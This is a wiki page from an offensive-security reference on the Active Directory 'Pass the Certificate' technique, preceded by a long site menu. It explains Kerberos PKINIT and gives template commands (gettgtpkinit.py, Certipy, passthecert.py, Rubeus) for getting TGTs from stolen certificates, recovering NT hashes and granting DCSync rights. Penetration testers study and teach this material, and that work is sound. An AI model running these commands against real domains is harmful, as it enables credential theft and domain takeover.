The Hacker Recipes
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  • Introduction
  • Active Directory
    • Reconnaissance
      • DHCP
      • DNS
      • NBT-NS
      • Responder ⚙️
      • Port scanning
      • LDAP
      • BloodHound ⚙️
      • MS-RPC
      • enum4linux ⚙️
      • Password policy
    • Movement
      • Credentials
        • Dumping
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Group Policy Preferences
          • Network shares
          • Network protocols
          • Web browsers
          • In-memory secrets
          • Kerberos key list
          • 🛠️Cached Kerberos tickets
          • 🛠️Windows Credential Manager
          • 🛠️Local files
          • 🛠️Password managers
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
        • Impersonation
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
        • 🛠️Living off the land
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate
        • sAMAccountName spoofing
        • SPN-jacking
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Netlogon
        • ZeroLogon
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • SCCM / MECM
        • Privilege escalation
        • Post-exploitation
      • Exchange services
        • 🛠️PrivExchange
        • 🛠️ProxyLogon
        • 🛠️ProxyShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Schannel
        • Pass the Certificate
      • Built-ins & settings
        • Security groups
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • DC Shadow
      • SID History
      • Skeleton key
      • GoldenGMSA
      • AdminSDHolder
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • 🛠️DACL abuse
      • Shadow Principals (PAM)
  • Web services
    • Reconnaissance
      • HTTP response headers
      • Comments and metadata
      • Error messages
      • Site crawling
      • Directory fuzzing
      • Subdomains enumeration
      • Subdomain & vhost fuzzing
      • Web Application Firewall (WAF)
      • Content Management System (CMS)
      • Other technologies
      • Known vulnerabilities
    • Configuration
      • Default credentials
      • HTTP methods
      • HTTP security headers
        • Clickjacking
        • MIME type sniffing
        • 🛠️CORS (Cross-Origin Resource Sharing)
        • 🛠️CSP (Content Security Policy)
      • HTTP request smuggling
      • HTTP response splitting
      • Insecure Cookies
      • Denial of Service (DoS)
      • Identity and Access Management
        • 🛠️OAuth 2.0
    • Accounts and sessions
      • Security policies
      • Password change
      • 🛠️Password reset
      • Account creation
      • 🛠️Account deletion
      • 🛠️Logging in
    • User inputs
      • File inclusion
        • LFI to RCE
          • logs poisoning
          • phpinfo
          • file upload
          • PHP wrappers and streams
          • PHP session
          • /proc
        • RFI to RCE
      • Unrestricted file upload
      • SQL injection
      • XSS (Cross-Site Scripting)
      • CSRF (Cross-Site Request Forgery)
      • SSRF (Server-Side Request Forgery)
      • IDOR (Insecure Direct Object Reference)
      • ORED Open redirect
      • Content-Type juggling
      • XXE injection
      • Insecure JSON Web Tokens
      • 🛠️HTTP parameter pollution
      • 🛠️SSTI (Server-Side Template Injection)
      • 🛠️Insecure deserialization
      • 🛠️CRLF injection
      • 🛠️Arbitrary file download
      • 🛠️Directory traversal
      • 🛠️Null-byte injection
  • Systems & services
    • Reconnaissance
      • 🛠️Hosts discovery
      • Port scanning
    • Initial access (protocols)
      • 🛠️FTP
      • 🛠️SSH
      • 🛠️Telnet
      • 🛠️DNS
      • 🛠️HTTP
      • 🛠️Kerberos
      • 🛠️LDAP
      • 🛠️SMB
      • 🛠️RTSP
      • 🛠️MSSQL
      • 🛠️NFS
      • 🛠️MySQL
      • 🛠️RDP
      • 🛠️WinRM
    • Initial access (phishing)
    • Privilege escalation
      • Windows
        • 🛠️Credential dumping
        • 🛠️Unquoted path
        • 🛠️Scheduled tasks
        • 🛠️Weak service permissions
        • 🛠️Vulnerable drivers
        • 🛠️Account privileges
        • 🛠️Kernel exploitation
        • 🛠️Windows Subsystem for Linux
        • 🛠️Runas saved creds
        • Unattend files
        • 🛠️Network secrets
        • 🛠️Living off the land
      • UNIX-like
        • SUDO
        • SUID/SGID binaries
        • 🛠️Capabilities
        • 🛠️Network secrets
        • 🛠️Living off the land
    • Pivoting
      • 🛠️Port forwarding
      • 🛠️SOCKS proxy
  • Evasion
    • (AV) Anti-Virus
      • 🛠️Loader
      • 🛠️Dropper
      • 🛠️Obfuscation
      • 🛠️Process injection
      • 🛠️Stealth with C2
    • 🛠️(EDR) Endpoint Detection and Response
  • 🛠️Physical
    • Locks
    • Networking
      • Network Access Control
    • Machines
      • HID injection
      • Keylogging
      • BIOS security
      • Encryption
      • Airstrike attack
    • Super secret zones
      • 🍌Banana & chocolate cake
      • 🍳Omelette du fromage
      • 🍔Burger du seigneur
      • 🥞The Pancakes of Heaven
  • 🛠️Intelligence gathering
    • CYBINT
      • Emails
      • Web infrastructure
    • OSINT
    • GEOINT
  • 🛠️RADIO
    • RFID
      • Mifare Classic
        • Default keys
        • Darkside
        • Nested
    • Bluetooth
    • Wi-Fi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Wireless keyboard/mouse
  • 🛠️mobile apps
    • Android
      • Android Debug Bridge ⚙️
      • APK transform
      • Magisk
    • iOS
      • Certificate pinning
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  1. Active Directory
  2. Movement
  3. Kerberos

Pass the Certificate

PreviousUnPAC the hashNextsAMAccountName spoofing

Last updated 1 year ago

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Theory

The Kerberos authentication protocol works with tickets in order to grant access. An ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can only be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ). The pre-authentication can be validated symmetrically (with a DES, RC4, AES128 or AES256 key) or asymmetrically (with certificates). The asymmetrical way of pre-authenticating is called PKINIT.

Pass the Certificate is the fancy name given to the pre-authentication operation relying on a certificate (i.e. key pair) to pass in order to obtain a TGT. This operation is often conducted along , and .

Keep in mind a certificate in itself cannot be used for authentication without the knowledge of the private key. A certificate is signed for a specific public key, that was generated along with a private key, which should be used when relying on a certificate for authentication.

The "certificate + private key" pair is usually used in the following manner

  • PEM certificate + PEM private key

  • PFX certificate export (which contains the private key) + PFX password (which protects the PFX certificate export)

Practice

From UNIX-like systems, 's from tool to request a TGT (Ticket Granting Ticket) for the target object. That tool supports the use of the certificate in multiple forms.

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

Alternatively, (Python) can be used for the same purpose.

certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'

Certipy's commands don't support PFXs with password. The following command can be used to "unprotect" a PFX file.

certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"

The ticket obtained can then be used to

  • authenticate with

  • conduct an attack. This can be done with from .

  • obtain access to the account's SPN with an S4U2Self. This can be done with from .

When using Certipy for Pass-the-Certificate, it automatically does to recover the account's NT hash, in addition to saving the TGT obtained.

Another alternative is with (Python) which can be used to conduct multiple techniques like elevate a user for DCSync or change password for a specific user.

# extract key and cert from the pfx
certipy cert -pfx "PATH_TO_PFX_CERT" -nokey -out "user.crt"
certipy cert -pfx "PATH_TO_PFX_CERT" -nocert -out "user.key"

# elevate a user for DCSYNC with passthecert.py
passthecert.py -action modify_user -crt "PATH_TO_CRT" -key "PATH_TO_KEY" -domain "domain.local" -dc-ip "DC_IP" -target "SAM_ACCOUNT_NAME" -elevate
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

PEM certificates can be exported to a PFX format with openssl. Rubeus doesn't handle PEM certificates.

openssl pkcs12 -in "cert.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "cert.pfx"
openssl rsa -inform DER -in key.key -out key-pem.key
openssl x509 -inform DER -in cert.crt -out cert.pem -outform PEM
openssl pkcs12 -in cert.pem -inkey key-pem.key -export -out cert.pfx

The ticket obtained can then be used to

  • obtain access to the account's SPN with an S4U2Self.

From Windows systems, (C#) can be used to request a TGT (Ticket Granting Ticket) for the target object from a base64-encoded PFX certificate export (with an optional password).

Certipy uses DER encryption. To generate a PFX for Rubeus, can be used.

authenticate with

conduct an attack (add the /getcredentials flag to Rubeus's asktgt command)

ASREProast
shadow credentials
AD CS escalation
UnPAC-the-hash attacks
Dirk-jan
gettgtpkinit.py
PKINITtools
Certipy
pass-the-cache
UnPAC-the-hash
getnthash.py
PKINITtools
gets4uticket.py
PKINITtools
UnPAC-the-hash
PassTheCert
Rubeus
openssl
pass-the-ticket
UnPAC-the-hash